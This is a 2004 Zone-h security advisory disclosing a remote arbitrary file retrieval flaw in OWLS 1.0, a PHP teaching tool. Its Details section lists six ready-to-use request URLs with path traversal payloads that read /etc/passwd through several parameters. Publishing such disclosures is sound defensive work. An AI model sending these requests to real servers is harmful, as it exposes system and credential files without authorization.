ZH2004-08SA (security advisory): OWLS 1.0 Remote arbitrary files retrieving

Discovered: 05 january 2004

Vendor contacted: 07 january 2004

Published: 18 february 2004

Name: OWLS

Affected Systems: 1.0

Issue: Remote file retrieving

Author: G00db0y from Zone-h Security Labs - g00db0y (at) zone-h (dot) org [email concealed] - zetalabs (at) zone-h (dot) org [email concealed]

Vendor: http://www.foolsworkshop.com/owls/

Description

***********

Zone-h Security Team has discovered a flaw in OWLS 1.0. There is a vulnerability in the current version of OWLS that allows an attacker to retrieve arbitrary files from the webserver with its priviledges.

"OWLS is a web-based environment for instructors of language to easily create exercises, readings, glossaries, and present media for their students. Once installed on a web server that supports PHP,

instructors can create materials or upload media for presentation to their students through a simple form based interface"

Details

*******

It's possibile for a remote attacker to retrieve any file from a webserver. Multiple files are affected with this problem.

For example try this:

http://address/owls/glossaries/index.php?file=/etc/passwd

http://address/owls/multiplechoice/index.php?file=../../../../../../../.
./../../../../../../../etc/passwd&view=print

http://address/owls/readings/index.php?filename=/etc/passwd

http://address/owls/multiplechoice/resultsignore.php?filename=/etc/passw
d

http://address/owls/workshop/glossary.php?editfile=../../../../../../../
../../../../../../../../etc/passwd

http://address/owls/workshop/newmultiplechoice.php?edit=1&editfile=../..
/../../../../../../../../../../../../../etc/passwd

Solution:

*********

The vendor has been contacted and a patch was not yet produced.

G00db0y from Zone-h Security Labs - g00db0y (at) zone-h (dot) org [email concealed] - zetalabs (at) zone-h (dot) org [email concealed]

http://www.zone-h.org/en/advisories/read/id=3973/

[ reply ]